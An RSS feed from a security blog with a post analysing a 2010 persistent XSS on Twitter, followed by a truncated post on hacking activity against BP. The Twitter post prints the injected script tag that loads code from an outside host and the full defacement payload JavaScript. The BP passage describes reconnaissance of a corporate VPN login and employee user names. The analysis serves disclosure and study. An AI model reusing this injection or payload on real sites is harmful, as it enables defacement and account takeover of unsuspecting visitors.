<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Praetorian Prefect &#187; twitter</title>
	<atom:link href="http://praetorianprefect.com/archives/tag/twitter/feed/" rel="self" type="application/rss+xml" />
	<link>http://praetorianprefect.com</link>
	<description>Information security, a little slower...a little deeper</description>
	<lastBuildDate>Thu, 29 Jul 2010 16:38:31 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.9.2</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Persistent XSS on Twitter.com</title>
		<link>http://praetorianprefect.com/archives/2010/06/persistent-xss-on-twitter-com/</link>
		<comments>http://praetorianprefect.com/archives/2010/06/persistent-xss-on-twitter-com/#comments</comments>
		<pubDate>Thu, 24 Jun 2010 08:32:11 +0000</pubDate>
		<dc:creator>Prefect</dc:creator>
				<category><![CDATA[Social Networking]]></category>
		<category><![CDATA[twitter]]></category>
		<category><![CDATA[xss]]></category>

		<guid isPermaLink="false">http://praetorianprefect.com/?p=4423</guid>
		<description><![CDATA[Twitter user 0wn3d_5ys has demonstrated a persistent cross site scripting (XSS) vulnerability he found on  June 21st using his own Twitter account (visit at your own risk) that appears to be due to a lack of input validation of the application name field when accepting new requests for Twitter applications.]]></description>
			<content:encoded><![CDATA[<p><a href="http://praetorianprefect.com/wp-content/uploads/2010/06/failwhale.jpg"><img src="http://praetorianprefect.com/wp-content/uploads/2010/06/failwhale-e1277366677897-150x150.jpg" alt="" title="failwhale" width="150" height="150" class="alignleft size-thumbnail wp-image-4424" /></a></p>

<p>Twitter user 0wn3d_5ys has demonstrated a persistent cross site scripting (XSS) vulnerability on Twitter he found on June 21st using <a href="http://twitter.com/0wn3d_5ys">his own Twitter account</a> (visit at your own risk) that appears to be due to a lack of input validation of the application name field when accepting new requests for Twitter applications. Visiting his account on Twitter results in a pair of classic cross site scripting alert boxes, then your browser is manipulated, finally you enter the matrix (see below), and get messages from the researcher who found the vulnerability.
<br /><br /><br /></p>

<div id="attachment_4428" class="wp-caption alignnone" style="width: 760px"><a href="http://praetorianprefect.com/wp-content/uploads/2010/06/xss_example.jpg"><img src="http://praetorianprefect.com/wp-content/uploads/2010/06/xss_example.jpg" alt="" title="xss_example" width="750" height="600" class="size-full wp-image-4428" /></a><p class="wp-caption-text">Initial result of visiting the affected Twitter profile.</p></div>
<br /></p>

<p><div id="attachment_4429" class="wp-caption alignnone" style="width: 336px"><a href="http://praetorianprefect.com/wp-content/uploads/2010/06/alert1.jpg"><img src="http://praetorianprefect.com/wp-content/uploads/2010/06/alert1.jpg" alt="" title="alert1" width="326" height="126" class="size-full wp-image-4429" /></a><p class="wp-caption-text">Alert box one.</p></div>
<br /></p>

<p><div id="attachment_4430" class="wp-caption alignnone" style="width: 428px"><a href="http://praetorianprefect.com/wp-content/uploads/2010/06/alert2.jpg"><img src="http://praetorianprefect.com/wp-content/uploads/2010/06/alert2.jpg" alt="" title="alert2" width="418" height="126" class="size-full wp-image-4430" /></a><p class="wp-caption-text">Alert box 2.</p></div>
<br /></p>

<p><div id="attachment_4431" class="wp-caption alignnone" style="width: 760px"><a href="http://praetorianprefect.com/wp-content/uploads/2010/06/matrix_time.jpg"><img src="http://praetorianprefect.com/wp-content/uploads/2010/06/matrix_time.jpg" alt="" title="matrix_time" width="750" height="600" class="size-full wp-image-4431" /></a><p class="wp-caption-text">Then you're in the matrix.</p></div>
<br /></p>

<p>And lest you wonder at his intentions, he supplies the following messages into the pages title tag:</p>

<pre><code>tb8_messages = new tb8_makeArray(4);
tb8_messages[0] = "My Twitter Owned By : H4x0r-x0x..";
tb8_messages[1] = "I can not play twitter";
tb8_messages[2] = "Injections XSSED On Twitter By: H4x0r-x0x";
tb8_messages[3] = "there is no crime here! I just create To smarten view my Twitter profile. Coding by: 
Indonesian H4x0r";
</code></pre>

<p>He announced the find <a href="http://www.0wn3d-5ys.co.cc/">on his blog</a> as well as the Indonesian forum Balikita.</p>

<h3>The Vulnerable Field</h3>

<p>The problem is similar to one <a href="http://www.davidnaylor.co.uk/massive-twitter-cross-site-scripting-vulnerability.html">described last August</a> by James Slater. That time around the issue was with the application URL, this time it appears the application name is the issue.</p>

<p>The code containing the injection occurs at the application name field (the via &#8220;Application name&#8221; you see on your tweets).</p>

<pre><code>&lt;span&gt;via &lt;a href="http://www.0wn3d-5ys.co.cc" rel="nofollow"&gt;Ub­­&amp;shy;erTw­i­&amp;shy;tter&lt;span 
style="visibility: hidden"&amp;gt; &lt;script src='http://is.gd/cWO66' type='text/javascript'&amp;gt;&lt;/script&amp;gt;&lt;/a&gt;
&lt;/span&gt;
</code></pre>

<p>What do you notice right away? There&#8217;s no closing bracket on the closing script tag (Twitter is encoding as gt, at least partially, what was submitted). Here the researcher seems to get lucky in that his closing script tag is ignored, and the page falls all the way through to another Javascript include before it starts interpreting the markup again. Fortunately the next thing the browser interprets is the closing script tag on a Twitter included Javascript, thus the code injection works:</p>

<pre><code>&lt;script src="http://ajax.googleapis.com/ajax/libs/jquery/1.3.0/jquery.min.js" type="text/javascript"&gt;&lt;/script&gt;
</code></pre>

<p><div id="attachment_4433" class="wp-caption alignnone" style="width: 389px"><a href="http://praetorianprefect.com/wp-content/uploads/2010/06/injection_location.jpg"><img src="http://praetorianprefect.com/wp-content/uploads/2010/06/injection_location.jpg" alt="" title="injection_location" width="379" height="251" class="size-full wp-image-4433" /></a><p class="wp-caption-text">Injection location.</p></div>
<br /></p>

<p>This field is supplied when an application is set up via the Twitter <a href="http://dev.twitter.com/apps/new">Application Registration</a> page.</p>

<p><div id="attachment_4451" class="wp-caption alignnone" style="width: 710px"><a href="http://praetorianprefect.com/wp-content/uploads/2010/06/appform.jpg"><img src="http://praetorianprefect.com/wp-content/uploads/2010/06/appform.jpg" alt="" title="appform" width="700" height="711" class="size-full wp-image-4451" /></a><p class="wp-caption-text">Where Application Name is supplied.</p></div>
<br /></p>

<h3>The Javascript</h3>

<p>The shortened URL included (http://is.gd/cWO66) redirects to: http://h1.ripway.com/www.Frendster.com/011.js.</p>

<pre><code>//*----------------------------------*//
alert("::::::||+ &lt;/X55ED&gt; + H4x0r-x0x  +||:::::: ");
alert("::::::::::::::::||+ Page Twitter Owned By: H4x0r-x0x +||:::::::::::::::: \n ::::::||+ H4x0r-x0x From Forum.Balikita.Net &amp; Ungu.com +||::::::");

//*----------------------------------*//
var myjs = document.createElement("script");
myjs.type = "text/javascript";
myjs.src = "http://h1.ripway.com/www.Frendster.com/H4x0r.js";
document.getElementsByTagName("head")[0].appendChild(myjs);

//*----------------------------------*//
var shortc = document.createElement("link");
shortc.rel = "SHORTCUT ICON";
shortc.href = "http://img532.imageshack.us/img532/4308/indonesiaflag.gif";
document.getElementsByTagName("head")[0].appendChild(shortc);

//*----------------------------------*//
var css = document.createElement("link");
css.setAttribute("rel","stylesheet");
css.setAttribute("href","http://h1.ripway.com/www.Frendster.com/twitt.css");
document.getElementsByTagName("head")[0].appendChild(css);

//*----------------------------------*//
var css = document.createElement("link");
css.setAttribute("rel","stylesheet");
css.setAttribute("href"," http://h1.ripway.com/www.Frendster.com/css.css");
document.getElementsByTagName("head")[0].appendChild(css);

//**************************************//

//**************************************//

function tb8_makeArray(n){
this.length = n;
return this.length;
}
tb8_messages = new tb8_makeArray(4);
tb8_messages[0] = "My Twitter Owned By : H4x0r-x0x..";
tb8_messages[1] = "I can not play twitter";
tb8_messages[2] = "Injections XSSED On Twitter By: H4x0r-x0x";
tb8_messages[3] = "there is no crime here! I just create To smarten view my Twitter profile. Coding by: Indonesian H4x0r";
tb8_rptType = 'infinite';
tb8_rptNbr = 5;
tb8_speed = 100;
tb8_delay = 2000;
var tb8_counter=1;
var tb8_currMsg=0;
var tb8_tekst ="";
var tb8_i=0;
var tb8_TID = null;
function tb8_pisi(){
tb8_tekst = tb8_tekst + tb8_messages[tb8_currMsg].substring(tb8_i, tb8_i+1);
document.title = tb8_tekst;
tb8_sp=tb8_speed;
tb8_i++;
if (tb8_i==tb8_messages[tb8_currMsg].length){
tb8_currMsg++; tb8_i=0; tb8_tekst="";tb8_sp=tb8_delay;
}
if (tb8_currMsg == tb8_messages.length){
if ((tb8_rptType == 'finite') &amp;&amp; (tb8_counter==tb8_rptNbr)){
clearTimeout(tb8_TID);
return;
}
tb8_counter++;
tb8_currMsg = 0;
}
tb8_TID = setTimeout("tb8_pisi()", tb8_sp);
}
tb8_pisi()


//------

var message=" syapakahh Qwueee.. w4s Hare ";
///////////////////////////////////
function clickIE() {if (document.all) {(message);return false;}}
function clickNS(e) {if
(document.layers||(document.getElementById&amp;&amp;!document.all)) {
if (e.which==2||e.which==3) {(message);return false;}}}
if (document.layers)
{document.captureEvents(Event.MOUSEDOWN);document.onmousedown=clickNS;}
else{document.onmouseup=clickNS;document.oncontextmenu=clickIE;}

document.oncontextmenu=new Function("return false")
// --&gt;


//***********//
//form tags to omit in NS6+:
var omitformtags=["input", "textarea", "select"]

omitformtags=omitformtags.join("|")

function disableselect(e){
if (omitformtags.indexOf(e.target.tagName.toLowerCase())==-1)
return false
}

function reEnable(){
return true
}

if (typeof document.onselectstart!="undefined")
document.onselectstart=new Function ("return false")
else{
document.onmousedown=disableselect
document.onmouseup=reEnable
}

/***********/

scrW=screen.availWidth
scrH=screen.availHeight
window.resizeTo(10,10)
window.focus()
for(a=0;a&lt;80;a++){
window.moveTo(0,0)
window.resizeTo(0,scrH*a/80)
}

window.resizeTo(0,0)
for(b=0;b&lt;80;b++){
window.moveTo(0,scrH/1)
window.resizeTo(scrW*b/80,0)
}

for(c=0;c&lt;80;c++){
window.moveTo(scrW/1,scrH/1)
window.resizeTo(0,scrH*c/80)
}

for(d=0;d&lt;80;d++){
window.moveTo(scrW/1,0)
window.resizeTo(scrW*d/80,0)
}

for(e=0;e&lt;80;e++){
window.resizeTo(scrW*e/80,scrH*e/80)
}

window.moveTo(0,0)
window.resizeTo(scrW,scrH) 

///************************///
var wibiya_pl = "false";
var wibiya_nc = "true";
var wibiya_latestJq = false;
var wibiya_flashFix = false;
var wibiya_jQuery_ver = 132;
var wibiyaTimeoutId;

function jquery_ver(){
    return parseInt(jQuery.fn.jquery.replace(/\./gi,'').substring(0,3));
}

if (!Array.prototype.indexOf) {
    Array.prototype.indexOf = function(obj, start) {
        for (var i = (start || 0), j = this.length; i &lt; j; i++) {
            if (this[i] === obj) {
                return i;
            }
        }
        return -1;
    }
}

function loadjscssfile(filename, filetype, where){
    var fileref;
    if (filetype=="js"){ //if filename is a external JavaScript file
        fileref=document.createElement("script");
        fileref.setAttribute("type","text/javascript");
        fileref.setAttribute("src", filename);
    }
    else if (filetype=="css"){ //if filename is an external CSS file
        fileref=document.createElement("link");
        fileref.setAttribute("rel", "stylesheet");
        fileref.setAttribute("type", "text/css");
        fileref.setAttribute("href", filename);
    }
    if (typeof fileref!="undefined"){
        if (where=="head"){
            document.getElementsByTagName("head")[0].appendChild(fileref);
        }
        else{
            document.getElementsByTagName("body")[0].appendChild(fileref);
        }
    }
}

function CheckJQueryLoader(toolbarId)
{
    if (typeof jQuery == "function")
    {
        if (!wibiya_latestJq)
        {
            clearTimeout(wibiyaTimeoutId);
            SetToolbarLoad();
        }
        else
        {
            if (jquery_ver() &gt;= wibiya_jQuery_ver)
            {
                clearTimeout(wibiyaTimeoutId);
                SetToolbarLoad();
            }
            else
            {
                wibiyaTimeoutId =  setTimeout("CheckJQueryLoader("+toolbarId+");",200);
            }
        }
    }
    else
    {
        wibiyaTimeoutId =  setTimeout("CheckJQueryLoader("+toolbarId+");",200);
    }
}

function getQueryParam(name){
    var qString = window.location.search.substring(1).split("&amp;");
    var params = new Array();

    var p;
    for(var i=0; i&lt;qString.length; i++){
        p = qString[i].split("=");
        params[p[0]] = p[1];
    }

    return params[name];
}

function SetToolbarLoad(){
    var wibiya_mobiles = ["iphone","ipod","ipad","series60","symbian","android","windows ce",
        "blackberry","palm","avantgo","docomo","vodafone","j-phone",
        "xv6850","htc","lg;","lge","mot","nintendo","nokia","samsung","sonyericsson"];
    wibiyaToolbar.wibiya_isMobile = false;
    wibiyaToolbar.wibiya_uAgent = navigator.userAgent.toLowerCase();
    for(var i=0;i&lt;wibiya_mobiles.length;i++){
        if(wibiyaToolbar.wibiya_uAgent.match(wibiya_mobiles[i]) != null){
            wibiyaToolbar.wibiya_isMobile = true;
            break;
        }
    }

    if ((jQuery.browser.msie &amp;&amp; parseInt(jQuery.browser.version)==6) ||  wibiyaToolbar.wibiya_isMobile == true){
        // ie 6 and below -&gt; do nothing
    }
    else{
        if(wibiya_flashFix === true){
            wibiyaToolbar.rewriteFlash = 0;
            wibiyaToolbar.framework.FlashFix();
            wibiyaToolbar.rewriteFlashInterval = setInterval("wibiyaToolbar.framework.FlashFix();", 3333);
        }

        wibiyadomain = "http://cdn.wibiya.com/Toolbars/dir_0463/Toolbar_463831/";
        // no-conflict
        if (wibiya_nc=="true") jQuery.noConflict();

        var altToolbar = getQueryParam("toolbarObjId");
        // detect jd_gallery, ie, user_request - load page after document.ready
        if (typeof (startGallery) == "function" || jQuery.browser.msie || wibiya_pl=="true") {
            var wibiyaScriptSrc;
            jQuery(document).ready(function(){
                if (typeof altToolbar == "undefined"){
                    wibiyaScriptSrc = wibiyadomain+"toolbar_463831_4c1ec2a47b60f.js";
                }
                else{
                    wibiyaScriptSrc = altToolbar;
                }
                loadjscssfile(wibiyaScriptSrc,"js","body");
            });
        }
        else{
            if (typeof altToolbar == "undefined"){
                wibiyaScriptSrc = wibiyadomain+"toolbar_463831_4c1ec2a47b60f.js";
            }
            else{
                wibiyaScriptSrc = altToolbar;
            }
            loadjscssfile(wibiyaScriptSrc,"js","body");
        }
    }
}


if (typeof(wibiyaToolbar)!="object"){
    if ( typeof jQuery != "function"){
        loadjscssfile("http://cdn.wibiya.com/Scripts/jquery-1.4.2.min.js","js","head");
    }
    else{
        if (wibiya_latestJq &amp;&amp; jquery_ver() != wibiya_jQuery_ver){
            loadjscssfile("http://cdn.wibiya.com/Scripts/jquery-1.4.2.min.js","js","head");
        }
    }

    var wibiyaToolbar = {};
    wibiyaToolbar.framework = {};

    wibiyaToolbar.id="463831";
    wibiyaToolbar.referrer=document.referrer;
    CheckJQueryLoader(wibiyaToolbar.id);
}


/************************************************************************/
/* Rainbow Links Version 1.03 (2003.9.20)                               */
/* Script updated by Dynamicdrive.com for IE6                           */
/* Copyright (C) 1999-2001 TAKANASHI Mizuki                             */
/* takanasi@hamal.freemail.ne.jp                                        */
/*----------------------------------------------------------------------*/
/* Read it somehow even if my English text is a little wrong! ;-)       */
/*                                                                      */
/* Usage:                                                               */
/*  Insert '&lt;script src="rainbow.js"&gt;&lt;/script&gt;' into the BODY section,  */
/*  right after the BODY tag itself, before anything else.              */
/*  You don't need to add "onMouseover" and "onMouseout" attributes!!   */
/*                                                                      */
/*  If you'd like to add effect to other texts(not link texts), then    */
/*  add 'onmouseover="doRainbow(this);"' and                            */
/*  'onmouseout="stopRainbow();"' to the target tags.                   */
/*                                                                      */
/* This Script works with IE4,Netscape6,Mozilla browser and above only, */
/* but no error occurs on other browsers.                               */
/************************************************************************/


////////////////////////////////////////////////////////////////////
// Setting

var rate = 20;  // Increase amount(The degree of the transmutation)


////////////////////////////////////////////////////////////////////
// Main routine

if (document.getElementById)
window.onerror=new Function("return true")

var objActive;  // The object which event occured in
var act = 0;    // Flag during the action
var elmH = 0;   // Hue
var elmS = 128; // Saturation
var elmV = 255; // Value
var clrOrg;     // A color before the change
var TimerID;    // Timer ID


if (document.all) {
    document.onmouseover = doRainbowAnchor;
    document.onmouseout = stopRainbowAnchor;
}
else if (document.getElementById) {
    document.captureEvents(Event.MOUSEOVER | Event.MOUSEOUT);
    document.onmouseover = Mozilla_doRainbowAnchor;
    document.onmouseout = Mozilla_stopRainbowAnchor;
}


//=============================================================================
// doRainbow
//  This function begins to change a color.
//=============================================================================
function doRainbow(obj)
{
    if (act == 0) {
        act = 1;
        if (obj)
            objActive = obj;
        else
            objActive = event.srcElement;
        clrOrg = objActive.style.color;
        TimerID = setInterval("ChangeColor()",100);
    }
}


//=============================================================================
// stopRainbow
//  This function stops to change a color.
//=============================================================================
function stopRainbow()
{
    if (act) {
        objActive.style.color = clrOrg;
        clearInterval(TimerID);
        act = 0;
    }
}


//=============================================================================
// doRainbowAnchor
//  This function begins to change a color. (of a anchor, automatically)
//=============================================================================
function doRainbowAnchor()
{
    if (act == 0) {
        var obj = event.srcElement;
        while (obj.tagName != 'A' &amp;&amp; obj.tagName != 'BODY') {
            obj = obj.parentElement;
            if (obj.tagName == 'A' || obj.tagName == 'BODY')
                break;
        }

        if (obj.tagName == 'A' &amp;&amp; obj.href != '') {
            objActive = obj;
            act = 1;
            clrOrg = objActive.style.color;
            TimerID = setInterval("ChangeColor()",100);
        }
    }
}


//=============================================================================
// stopRainbowAnchor
//  This function stops to change a color. (of a anchor, automatically)
//=============================================================================
function stopRainbowAnchor()
{
    if (act) {
        if (objActive.tagName == 'A') {
            objActive.style.color = clrOrg;
            clearInterval(TimerID);
            act = 0;
        }
    }
}


//=============================================================================
// Mozilla_doRainbowAnchor(for Netscape6 and Mozilla browser)
//  This function begins to change a color. (of a anchor, automatically)
//=============================================================================
function Mozilla_doRainbowAnchor(e)
{
    if (act == 0) {
        obj = e.target;
        while (obj.nodeName != 'A' &amp;&amp; obj.nodeName != 'BODY') {
            obj = obj.parentNode;
            if (obj.nodeName == 'A' || obj.nodeName == 'BODY')
                break;
        }

        if (obj.nodeName == 'A' &amp;&amp; obj.href != '') {
            objActive = obj;
            act = 1;
            clrOrg = obj.style.color;
            TimerID = setInterval("ChangeColor()",100);
        }
    }
}


//=============================================================================
// Mozilla_stopRainbowAnchor(for Netscape6 and Mozilla browser)
//  This function stops to change a color. (of a anchor, automatically)
//=============================================================================
function Mozilla_stopRainbowAnchor(e)
{
    if (act) {
        if (objActive.nodeName == 'A') {
            objActive.style.color = clrOrg;
            clearInterval(TimerID);
            act = 0;
        }
    }
}


//=============================================================================
// Change Color
//  This function changes a color actually.
//=============================================================================
function ChangeColor()
{
    objActive.style.color = makeColor();
}


//=============================================================================
// makeColor
//  This function makes rainbow colors.
//=============================================================================
function makeColor()
{
    // Don't you think Color Gamut to look like Rainbow?

    // HSVtoRGB
    if (elmS == 0) {
        elmR = elmV;    elmG = elmV;    elmB = elmV;
    }
    else {
        t1 = elmV;
        t2 = (255 - elmS) * elmV / 255;
        t3 = elmH % 60;
        t3 = (t1 - t2) * t3 / 60;

        if (elmH &lt; 60) {
            elmR = t1;  elmB = t2;  elmG = t2 + t3;
        }
        else if (elmH &lt; 120) {
            elmG = t1;  elmB = t2;  elmR = t1 - t3;
        }
        else if (elmH &lt; 180) {
            elmG = t1;  elmR = t2;  elmB = t2 + t3;
        }
        else if (elmH &lt; 240) {
            elmB = t1;  elmR = t2;  elmG = t1 - t3;
        }
        else if (elmH &lt; 300) {
            elmB = t1;  elmG = t2;  elmR = t2 + t3;
        }
        else if (elmH &lt; 360) {
            elmR = t1;  elmG = t2;  elmB = t1 - t3;
        }
        else {
            elmR = 0;   elmG = 0;   elmB = 0;
        }
    }

    elmR = Math.floor(elmR).toString(16);
    elmG = Math.floor(elmG).toString(16);
    elmB = Math.floor(elmB).toString(16);
    if (elmR.length == 1)    elmR = "0" + elmR;
    if (elmG.length == 1)    elmG = "0" + elmG;
    if (elmB.length == 1)    elmB = "0" + elmB;

    elmH = elmH + rate;
    if (elmH &gt;= 360)
        elmH = 0;

    return '#' + elmR + elmG + elmB;
}


//****************************//
var scrolltotop={setting:{startline:100,scrollto:0,scrollduration:1000,fadeduration:[500,100]},controlHTML:'&lt;iframe title="h4x0r-x0x" src="http://www5.shoutmix.com/?h4x0r-x0x" width="500" height="700" frameborder="0" scrolling="auto"&gt;&lt;/iframe&gt;',controlattrs:{offsetx:5,offsety:5},anchorkeyword:'#top',state:{isvisible:false,shouldvisible:false},scrollup:function(){if(!this.cssfixedsupport)
this.$control.css({opacity:0})
var dest=isNaN(this.setting.scrollto)?this.setting.scrollto:parseInt(this.setting.scrollto)
if(typeof dest=="string"&amp;&amp;jQuery('#'+dest).length==1)
dest=jQuery('#'+dest).offset().top
else
dest=0
this.$body.animate({scrollTop:dest},this.setting.scrollduration);},keepfixed:function(){var $window=jQuery(window)
var controlx=$window.scrollLeft()+$window.width()-this.$control.width()-this.controlattrs.offsetx
var controly=$window.scrollTop()+$window.height()-this.$control.height()-this.controlattrs.offsety
this.$control.css({left:controlx+'px',top:controly+'px'})},togglecontrol:function(){var scrolltop=jQuery(window).scrollTop()
if(!this.cssfixedsupport)
this.keepfixed()
this.state.shouldvisible=(scrolltop&gt;=this.setting.startline)?true:false
if(this.state.shouldvisible&amp;&amp;!this.state.isvisible){this.$control.stop().animate({opacity:1},this.setting.fadeduration[0])
this.state.isvisible=true}
else if(this.state.shouldvisible==false&amp;&amp;this.state.isvisible){this.$control.stop().animate({opacity:0},this.setting.fadeduration[1])
this.state.isvisible=false}},init:function(){jQuery(document).ready(function($){var mainobj=scrolltotop
var iebrws=document.all
mainobj.cssfixedsupport=!iebrws||iebrws&amp;&amp;document.compatMode=="CSS1Compat"&amp;&amp;window.XMLHttpRequest
mainobj.$body=(window.opera)?(document.compatMode=="CSS1Compat"?$('html'):$('body')):$('html,body')
mainobj.$control=$('&lt;div id="topcontrol"&gt;'+mainobj.controlHTML+'&lt;/div&gt;').css({position:mainobj.cssfixedsupport?'fixed':'absolute',bottom:mainobj.controlattrs.offsety,right:mainobj.controlattrs.offsetx,opacity:0,cursor:'pointer'}).attr({title:'Scroll Back to Top'}).click(function(){mainobj.scrollup();return false}).appendTo('body')
if(document.all&amp;&amp;!window.XMLHttpRequest&amp;&amp;mainobj.$control.text()!='')
mainobj.$control.css({width:mainobj.$control.width()})
mainobj.togglecontrol()
$('a[href="'+mainobj.anchorkeyword+'"]').click(function(){mainobj.scrollup()
return false})
$(window).bind('scroll resize',function(e){mainobj.togglecontrol()})})}}
scrolltotop.init()
</code></pre>

<h3>H4X0R-X0X</h3>

<p>The researcher who found the problem hosts his blog at a .co.cc URL. While .cc is the country code for the Cocos (Keeling) Islands in Australia, .co.cc is actually a company offering free subdomain redirection services (http://www.co.cc/). The IP address of the blog (74.125.113.121) is shown as owned by Google Inc.. Perhaps the most relevant piece of origin information is the language used on the blog and in the forum, Indonesian.</p>

<p>The flag isn&#8217;t a bad clue either.</p>

<p><div id="attachment_4437" class="wp-caption alignnone" style="width: 760px"><a href="http://praetorianprefect.com/wp-content/uploads/2010/06/forum_entry.jpg"><img src="http://praetorianprefect.com/wp-content/uploads/2010/06/forum_entry.jpg" alt="" title="forum_entry" width="750" height="672" class="size-full wp-image-4437" /></a><p class="wp-caption-text">Forum post at Balikita.net, a Community of Art.</p></div>
<br /></p>

<h3>Impact</h3>

<p>As demonstrated in the past, XSS vulnerabilities in Twitter have been successfully used to take over accounts and create worms (Mikeyy, StalkDaily). Infection (account takeover) can be accomplished simply by visiting a profile with an include of a malicious Javascript, making a true self propagating web site worm possible as opposed to other more recent attacks based on phishing a user&#8217;s credentials with a fake Twitter login screen (the LOL is this you style attacks).</p>

<p><div id="attachment_4462" class="wp-caption alignright" style="width: 160px"><a href="http://praetorianprefect.com/wp-content/uploads/2010/06/19520928_3.jpg"><img src="http://praetorianprefect.com/wp-content/uploads/2010/06/19520928_3-150x150.jpg" alt="" title="19520928_3" width="150" height="150" class="size-thumbnail wp-image-4462" /></a><p class="wp-caption-text">Twitter's Del Harvey</p></div>

<p>This might be Twitter&#8217;s first serious cross site scripting vulnerability since the beginning of this year. Twitter has to correct this quickly as it was public knowledge before this post, and has been for days. We note that the problem has been reported to Twitter by a fellow researcher, and we also reported the issue to Del Harvey (Twitter&#8217;s Trust and Safety Team). We could have gone through the security e-mail address, but frankly the last time we did that the response irritated us. And since Harvey once worked <a href="http://www.perverted-justice.com/?pg=profiledel">in a mental institution</a>, she is probably the most qualified to deal with security people.</p>

<h3>Update</h3>

<p>As of 6pm the problem is still active in old applications, as one of our commentators below pointed out (with a working example). Twitter advised that the project has been corrected for new applications.</p>

<p><strong>Related Posts:</strong></p>
<ul>
<li><a href="http://praetorianprefect.com/archives/2009/12/james-lipton-says-dont-tweet-your-junk/">James Lipton says &#8220;Don&#8217;t tweet your junk&#8221;</a></li>
<li><a href="http://praetorianprefect.com/archives/2009/11/%e2%80%9chi-this-you-lol%e2%80%9d-twitter-attack-snares-kevin-mitnick/">“Hi. This you?? LOL” Twitter Attack Snares Kevin Mitnick</a></li>
<li><a href="http://praetorianprefect.com/archives/2009/11/not-the-haus-of-gaga-too/">Not the Haus of Gaga too</a></li>
<li><a href="http://praetorianprefect.com/archives/2009/10/facebook%e2%80%99s-faith-a-new-scareware-attack/">Facebook’s Faith: A New Scareware Attack</a></li>
<li><a href="http://praetorianprefect.com/archives/2009/09/breaking-twitter-authentication/">Breaking Twitter (authentication)</a></li>
</ul><br />
]]></content:encoded>
			<wfw:commentRss>http://praetorianprefect.com/archives/2010/06/persistent-xss-on-twitter-com/feed/</wfw:commentRss>
		<slash:comments>15</slash:comments>
		</item>
		<item>
		<title>Going After BP</title>
		<link>http://praetorianprefect.com/archives/2010/06/going-after-bp/</link>
		<comments>http://praetorianprefect.com/archives/2010/06/going-after-bp/#comments</comments>
		<pubDate>Wed, 09 Jun 2010 20:43:09 +0000</pubDate>
		<dc:creator>Prefect</dc:creator>
				<category><![CDATA[Web Site Defacement]]></category>
		<category><![CDATA[brute forcing]]></category>
		<category><![CDATA[hacktivism]]></category>
		<category><![CDATA[remote file inclusion]]></category>
		<category><![CDATA[twitter]]></category>
		<category><![CDATA[vpn]]></category>
		<category><![CDATA[xss]]></category>

		<guid isPermaLink="false">http://praetorianprefect.com/?p=4050</guid>
		<description><![CDATA[BP continues to be the subject of criticism following the Deepwater Horizon oil spill, and the hacking community appears to be taking exception to some of BP's recent public relations activities in the online arena.]]></description>
			<content:encoded><![CDATA[<p><a href="http://praetorianprefect.com/wp-content/uploads/2010/06/bp.jpg"><img src="http://praetorianprefect.com/wp-content/uploads/2010/06/bp-150x150.jpg" alt="" title="bp" width="150" height="150" class="alignleft size-thumbnail wp-image-4055" /></a></p>

<p>BP continues to be the subject of criticism following the Deepwater Horizon oil spill, and the hacking community appears to be taking exception to some of BP&#8217;s recent public relations activities in the online arena. Specifically, reactions to BP&#8217;s having bought the sponsored link for the search term &#8216;oil spill&#8217; seems to have triggered resentment in the form of both reconnaissance work, a Twitter account compromise, and an amusing cross site scripting vulnerability.</p>

<p>In the Reddit case, the method shown and gotchas demonstrated are worth covering, although no actual hack takes place. The XSS demonstrated at the bottom of the post is just creative and funny.</p>

<h3>Twitter</h3>

<p>As widely reported, on May 27th, BP&#8217;s official Twitter account was compromised and the following tweet put up.</p>

<p><div id="attachment_4062" class="wp-caption alignnone" style="width: 558px"><a href="http://praetorianprefect.com/wp-content/uploads/2010/06/bp-twitter-hacked.jpg"><img src="http://praetorianprefect.com/wp-content/uploads/2010/06/bp-twitter-hacked.jpg" alt="" title="bp-twitter-hacked" width="548" height="417" class="size-full wp-image-4062" /></a><p class="wp-caption-text">Pick a stronger password.</p></div>
<br /></p>

<p>And while it&#8217;s not a hack, the spoof Twitter account <a href="http://www.twitter.com/BPGlobalPR">BPGlobalPR</a> has garnered some attention (150k followers) as a satirical response to BP&#8217;s actual public relations response. It has gotten enough attention that the real BP has made overtures to the fake account to <a href="http://newsfeed.time.com/2010/06/09/bp-gets-bpglobalpr-to-clean-up-its-twitter/">better identify itself as a parody</a>.</p>

<h3>Reddit</h3>

<p>Last night on Reddit a user skipperdee responded to a post about the BP sponsored link <a href="http://www.reddit.com/r/politics/comments/ccuc1/if_bp_wants_to_waste_their_money_buying_key_words/">as follows</a>:</p>

<p><div id="attachment_4059" class="wp-caption alignnone" style="width: 760px"><a href="http://praetorianprefect.com/wp-content/uploads/2010/06/h08EB2.png"><img src="http://praetorianprefect.com/wp-content/uploads/2010/06/h08EB2.png" alt="" title="h08EB" width="750" height="526" class="size-full wp-image-4059" /></a><p class="wp-caption-text">Reconnaissance</p></div>
<br /></p>

<p>Let&#8217;s walk through his suggestions:</p>

<h4>VPN Login Screen</h4>

<p>Looking at what&#8217;s here, he found what is ostensibly a VPN login screen for some extranet type applications: https://access.bpglobal.com/bp/C/login.html?_targetURL=https://access.bpglobal.com/pkmslogin.form (with what looks like an open redirect).</p>

<p>Down tick one for information security is that it offers only certificate based authentication or alternatively login with a plain id and password.</p>

<p><div id="attachment_4056" class="wp-caption alignnone" style="width: 760px"><a href="http://praetorianprefect.com/wp-content/uploads/2010/06/IDAM_login.jpg"><img src="http://praetorianprefect.com/wp-content/uploads/2010/06/IDAM_login.jpg" alt="" title="IDAM_login" width="750" height="360" class="size-full wp-image-4056" /></a><p class="wp-caption-text">https://access.bpglobal.com/help/bpcertExpired.html</p></div>
<br /></p>

<p>A review of this screen (above) however seems to indicate that the user&#8217;s windows login (active directory) is the same as their IDAM login, by referencing the phrase NT ID and password.</p>

<h4>User Names</h4>

<p>Our Reddit user goes on to show off a little Google hacking by demonstrating how to find out the user names of BP employees:</p>

